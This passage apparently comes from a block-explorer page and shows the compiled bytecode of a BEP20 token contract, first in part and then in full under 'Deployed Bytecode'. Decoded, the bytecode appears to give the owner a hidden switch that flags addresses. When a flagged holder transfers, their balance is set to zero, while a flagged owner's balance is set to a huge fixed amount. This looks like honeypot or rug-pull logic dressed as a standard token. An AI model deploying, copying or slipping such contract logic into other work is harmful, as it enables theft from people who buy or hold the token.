19063ffffffff16565b610d4c565b6001905092915050565b61079e610798610d44565b82611429565b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461082290611e0e565b80601f016020809104026020016040519081016040528092919081815260200182805461084e90611e0e565b801561089b5780601f106108705761010080835404028352916020019161089b565b820191906000526020600020905b81548152906001019060200180831161087e57829003601f168201915b5050505050905090565b60006109686108b2610d44565b846109638560405180606001604052806025815260200161220060259139600360006108dc610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113c59092919063ffffffff16565b610d4c565b6001905092915050565b600061098661097f610d44565b8484610f17565b6001905092915050565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016109cb9190611a95565b60206040518083038186803b1580156109e357600080fd5b505afa1580156109f7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1b91906118bc565b9050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ab1610d44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3590611b8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba590611b2d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080831415610c7e5760009050610ce0565b60008284610c8c9190611ce6565b9050828482610c9b9190611cb5565b14610cdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd290611b6d565b60405180910390fd5b809150505b92915050565b6000808284610cf59190611c5f565b905083811015610d3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3190611b4d565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db390611b0d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2390611bed565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0a9190611c0d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e90611aed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fee90611bad565b60405180910390fd5b600060019050611025606461101760085485610c6b90919063ffffffff16565b6115d990919063ffffffff16565b905060008082846110369190611d40565b6110409190611c5f565b905061104d858583611623565b60006110576107ea565b905060011515600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611183578073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561113c576c0de24aac7eb3e705b4e0000000600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611182565b6000600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6111ef846040518060600160405280602781526020016121b660279139600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113c59092919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061128482600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ce690919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600083111561135857600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161134f9190611c0d565b60405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113b59190611c0d565b60405180910390a3505050505050565b600083831115829061140d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114049190611acb565b60405180910390fd5b506000838561141c9190611d40565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611499576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149090611bcd565b60405180910390fd5b6114a582600083611623565b611511816040518060600160405280602381526020016121dd60239139600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113c59092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115698160045461162890919063ffffffff16565b600481905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115cd9190611c0d565b60405180910390a35050565b600061161b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611672565b905092915050565b505050565b600061166a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113c5565b905092915050565b600080831182906116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b09190611acb565b60405180910390fd5b50600083856116c89190611cb5565b9050809150509392505050565b6000813590506116e481612159565b92915050565b6000813590506116f981612170565b92915050565b60008135905061170e81612187565b92915050565b6000813590506117238161219e565b92915050565b6000815190506117388161219e565b92915050565b60006020828403121561175057600080fd5b600061175e848285016116d5565b91505092915050565b6000806040838503121561177a57600080fd5b6000611788858286016116d5565b9250506020611799858286016116d5565b9150509250929050565b6000806000606084860312156117b857600080fd5b60006117c6868287016116d5565b93505060206117d7868287016116d5565b92505060406117e886828701611714565b9150509250925092565b6000806040838503121561180557600080fd5b6000611813858286016116d5565b9250506020611824858286016116ea565b9150509250929050565b6000806040838503121561184157600080fd5b600061184f858286016116d5565b925050602061186085828601611714565b9150509250929050565b60006020828403121561187c57600080fd5b600061188a848285016116ff565b91505092915050565b6000602082840312156118a557600080fd5b60006118b384828501611714565b91505092915050565b6000602082840312156118ce57600080fd5b60006118dc84828501611729565b91505092915050565b6118ee81611d74565b82525050565b6118fd81611d86565b82525050565b600061190e82611c43565b6119188185611c4e565b9350611928818560208601611ddb565b61193181611ecd565b840191505092915050565b6000611949602583611c4e565b915061195482611ede565b604082019050919050565b600061196c602483611c4e565b915061197782611f2d565b604082019050919050565b600061198f602683611c4e565b915061199a82611f7c565b604082019050919050565b60006119b2601b83611c4e565b91506119bd82611fcb565b602082019050919050565b60006119d5602183611c4e565b91506119e082611ff4565b604082019050919050565b60006119f8602083611c4e565b9150611a0382612043565b602082019050919050565b6000611a1b602383611c4e565b9150611a268261206c565b604082019050919050565b6000611a3e602183611c4e565b9150611a49826120bb565b604082019050919050565b6000611a61602283611c4e565b9150611a6c8261210a565b604082019050919050565b611a8081611dc4565b82525050565b611a8f81611dce565b82525050565b6000602082019050611aaa60008301846118e5565b92915050565b6000602082019050611ac560008301846118f4565b92915050565b60006020820190508181036000830152611ae58184611903565b905092915050565b60006020820190508181036000830152611b068161193c565b9050919050565b60006020820190508181036000830152611b268161195f565b9050919050565b60006020820190508181036000830152611b4681611982565b9050919050565b60006020820190508181036000830152611b66816119a5565b9050919050565b60006020820190508181036000830152611b86816119c8565b9050919050565b60006020820190508181036000830152611ba6816119eb565b9050919050565b60006020820190508181036000830152611bc681611a0e565b9050919050565b60006020820190508181036000830152611be681611a31565b9050919050565b60006020820190508181036000830152611c0681611a54565b9050919050565b6000602082019050611c226000830184611a77565b92915050565b6000602082019050611c3d6000830184611a86565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611c6a82611dc4565b9150611c7583611dc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611caa57611ca9611e40565b5b828201905092915050565b6000611cc082611dc4565b9150611ccb83611dc4565b925082611cdb57611cda611e6f565b5b828204905092915050565b6000611cf182611dc4565b9150611cfc83611dc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611d3557611d34611e40565b5b828202905092915050565b6000611d4b82611dc4565b9150611d5683611dc4565b925082821015611d6957611d68611e40565b5b828203905092915050565b6000611d7f82611da4565b9050919050565b60008115159050919050565b6000611d9d82611d74565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611df9578082015181840152602081019050611dde565b83811115611e08576000848401525b50505050565b60006002820490506001821680611e2657607f821691505b60208210811415611e3a57611e39611e9e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f42455032303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f42455032303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f42455032303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f42455032303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f42455032303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b61216281611d74565b811461216d57600080fd5b50565b61217981611d86565b811461218457600080fd5b50565b61219081611d92565b811461219b57600080fd5b50565b6121a781611dc4565b81146121b257600080fd5b5056fe42455032303a207472616e7366657220616d6e6f756e7420657863656564732062616c616e636542455032303a206275726e20616d6e6f756e7420657863656564732062616c616e636542455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f42455032303a207472616e7366657220616d6e6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220130b6758fa8e7068f0c4aa5890d32acd2636751306aeb35fafca2f202ce458e364736f6c63430008020033
Deployed Bytecode
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb14610360578063cd88e5581461039d578063dd62ed3e146103da578063f2fde38b1461041757610101565b806370a08231146102905780638da5cb5b146102cd57806395d89b41146102f8578063a457c2d71461032357610101565b806323b872dd116100c657806323b872dd146101c2578063313ce567146101ff578063395093511461022a57806342966c681461026757610101565b806306fdde0314610106578063095ea7b31461013157806318160ddd1461016e5780631f478f1e1461019957610101565b3661010157600080fd5b600080fd5b34801561011257600080fd5b5061011b610440565b6040516101289190611acb565b60405180910390f35b34801561013d57600080fd5b506101586004803603810190610153919061182e565b6104d2565b6040516101659190611ab0565b60405180910390f35b34801561017a57600080fd5b506101836104f0565b6040516101909190611c0d565b60405180910390f35b3480156101a557600080fd5b506101c060048036038101906101bb91906117f2565b6104fa565b005b3480156101ce57600080fd5b506101e960048036038101906101e491906117a3565b6105ea565b6040516101f69190611ab0565b60405180910390f35b34801561020b57600080fd5b506102146106c3565b6040516102219190611c28565b60405180910390f35b34801561023657600080fd5b50610251600480360381019061024c919061182e565b6106da565b60405161025e9190611ab0565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190611893565b61078d565b005b34801561029c57600080fd5b506102b760048036038101906102b2919061173e565b6107a1565b6040516102c49190611c0d565b60405180910390f35b3480156102d957600080fd5b506102e26107ea565b6040516102ef9190611a95565b60405180910390f35b34801561030457600080fd5b5061030d610813565b60405161031a9190611acb565b60405180910390f35b34801561032f57600080fd5b5061034a6004803603810190610345919061182e565b6108a5565b6040516103579190611ab0565b60405180910390f35b34801561036c57600080fd5b506103876004803603810190610382919061182e565b610972565b6040516103949190611ab0565b60405180910390f35b3480156103a957600080fd5b506103c460048036038101906103bf919061186a565b610990565b6040516103d19190611c0d565b60405180910390f35b3480156103e657600080fd5b5061040160048036038101906103fc9190611767565b610a22565b60405161040e9190611c0d565b60405180910390f35b34801561042357600080fd5b5061043e6004803603810190610439919061173e565b610aa9565b005b60606005805461044f90611e0e565b80601f016020809104026020016040519081016040528092919081815260200182805461047b90611e0e565b80156104c85780601f1061049d576101008083540402835291602001916104c8565b820191906000526020600020905b8154815290600101906020018083116104ab57829003601f168201915b5050505050905090565b60006104e66104df610d44565b8484610d4c565b6001905092915050565b6000600454905090565b610502610d44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461058f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058690611b8d565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006105f7848484610f17565b6106b884610603610d44565b6106b38560405180606001604052806029815260200161222560299139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610669610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113c59092919063ffffffff16565b610d4c565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006107836106e7610d44565b8461077e85600360006106f8610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ce690919063ffffffff16565b610d4c565b6001905092915050565b61079e610798610d44565b82611429565b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461082290611e0e565b80601f016020809104026020016040519081016040528092919081815260200182805461084e90611e0e565b801561089b5780601f106108705761010080835404028352916020019161089b565b820191906000526020600020905b81548152906001019060200180831161087e57829003601f168201915b5050505050905090565b60006109686108b2610d44565b846109638560405180606001604052806025815260200161220060259139600360006108dc610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113c59092919063ffffffff16565b610d4c565b6001905092915050565b600061098661097f610d44565b8484610f17565b6001905092915050565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016109cb9190611a95565b60206040518083038186803b1580156109e357600080fd5b505afa1580156109f7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1b91906118bc565b9050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ab1610d44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3590611b8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba590611b2d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080831415610c7e5760009050610ce0565b60008284610c8c9190611ce6565b9050828482610c9b9190611cb5565b14610cdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd290611b6d565b60405180910390fd5b809150505b92915050565b6000808284610cf59190611c5f565b905083811015610d3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3190611b4d565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db390611b0d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2390611bed565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0a9190611c0d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e90611aed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fee90611bad565b60405180910390fd5b600060019050611025606461101760085485610c6b90919063ffffffff16565b6115d990919063ffffffff16565b905060008082846110369190611d40565b6110409190611c5f565b905061104d858583611623565b60006110576107ea565b905060011515600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611183578073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561113c576c0de24aac7eb3e705b4e0000000600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611182565b6000600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6111ef846040518060600160405280602781526020016121b660279139600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113c59092919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061128482600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ce690919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600083111561135857600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161134f9190611c0d565b60405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113b59190611c0d565b60405180910390a3505050505050565b600083831115829061140d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114049190611acb565b60405180910390fd5b506000838561141c9190611d40565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611499576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149090611bcd565b60405180910390fd5b6114a582600083611623565b611511816040518060600160405280602381526020016121dd60239139600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113c59092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115698160045461162890919063ffffffff16565b600481905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115cd9190611c0d565b60405180910390a35050565b600061161b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611672565b905092915050565b505050565b600061166a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113c5565b905092915050565b600080831182906116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b09190611acb565b60405180910390fd5b50600083856116c89190611cb5565b9050809150509392505050565b6000813590506116e481612159565b92915050565b6000813590506116f981612170565b92915050565b60008135905061170e81612187565b92915050565b6000813590506117238161219e565b92915050565b6000815190506117388161219e565b92915050565b60006020828403121561175057600080fd5b600061175e848285016116d5565b91505092915050565b6000806040838503121561177a57600080fd5b6000611788858286016116d5565b9250506020611799858286016116d5565b9150509250929050565b6000806000606084860312156117b857600080fd5b60006117c6868287016116d5565b93505060206117d7868287016116d5565b92505060406117e886828701611714565b9150509250925092565b6000806040838503121561180557600080fd5b6000611813858286016116d5565b9250506020611824858286016116ea565b9150509250929050565b6000806040838503121561184157600080fd5b600061184f858286016116d5565b925050602061186085828601611714565b9150509250929050565b60006020828403121561187c57600080fd5b600061188a848285016116ff565b91505092915050565b6000602082840312156118a557600080fd5b60006118b384828501611714565b91505092915050565b6000602082840312156118ce57600080fd5b60006118dc84828501611729565b91505092915050565b6118ee81611d74565b82525050565b6118fd81611d86565b82525050565b600061190e82611c43565b6119188185611c4e565b9350611928818560208601611ddb565b61193181611ecd565b840191505092915050565b6000611949602583611c4e565b915061195482611ede565b604082019050919050565b600061196c602483611c4e565b915061197782611f2d565b604082019050919050565b600061198f602683611c4e565b915061199a82611f7c565b604082019050919050565b60006119b2601b83611c4e565b91506119bd82611fcb565b602082019050919050565b60006119d5602183611c4e565b91506119e082611ff4565b604082019050919050565b60006119f8602083611c4e565b9150611a0382612043565b602082019050919050565b6000611a1b602383611c4e565b9150611a268261206c565b604082019050919050565b6000611a3e602183611c4e565b9150611a49826120bb565b604082019050919050565b6000611a61602283611c4e565b9150611a6c8261210a565b604082019050919050565b611a8081611dc4565b82525050565b611a8f81611dce565b82525050565b6000602082019050611aaa60008301846118e5565b92915050565b6000602082019050611ac560008301846118f4565b92915050565b60006020820190508181036000830152611ae58184611903565b905092915050565b60006020820190508181036000830152611b068161193c565b9050919050565b60006020820190508181036000830152611b268161195f565b9050919050565b60006020820190508181036000830152611b4681611982565b9050919050565b60006020820190508181036000830152611b66816119a5565b9050919050565b60006020820190508181036000830152611b86816119c8565b9050919050565b60006020820190508181036000830152611ba6816119eb565b9050919050565b60006020820190508181036000830152611bc681611a0e565b9050919050565b60006020820190508181036000830152611be681611a31565b9050919050565b60006020820190508181036000830152611c0681611a54565b9050919050565b6000602082019050611c226000830184611a77565b92915050565b6000602082019050611c3d6000830184611a86565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611c6a82611dc4565b9150611c7583611dc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611caa57611ca9611e40565b5b828201905092915050565b6000611cc082611dc4565b9150611ccb83611dc4565b925082611cdb57611cda611e6f565b5b828204905092915050565b6000611cf182611dc4565b9150611cfc83611dc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611d3557611d34611e40565b5b828202905092915050565b6000611d4b82611dc4565b9150611d5683611dc4565b925082821015611d6957611d68611e40565b5b828203905092915050565b6000611d7f82611da4565b9050919050565b60008115159050919050565b6000611d9d82611d74565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611df9578082015181840152602081019050611dde565b83811115611e08576000848401525b50505050565b60006002820490506001821680611e2657607f821691505b60208210811415611e3a57611e39611e9e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f42455032303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f42455032303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f42455032303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f42455032303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f42455032303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b61216281611d74565b811461216d57600080fd5b50565b61217981611d86565b811461218457600080fd5b50565b61219081611d92565b811461219b57600080fd5b50565b6121a781611dc4565b81146121b257600080fd5b5056fe42455032303a207472616e7366657220616d6e6f756e7420657863656564732062616c616e636542455032303a206275726e20616d6e6f756e7420657863656564732062616c616e636542455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f42455032303a207472616e7366657220616d6e6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220130b6758fa8e7068f0c4aa5890d32acd2636751306aeb35fafca2f202ce458e364736f6c63430008020033
Deployed Bytecode Sourcemap
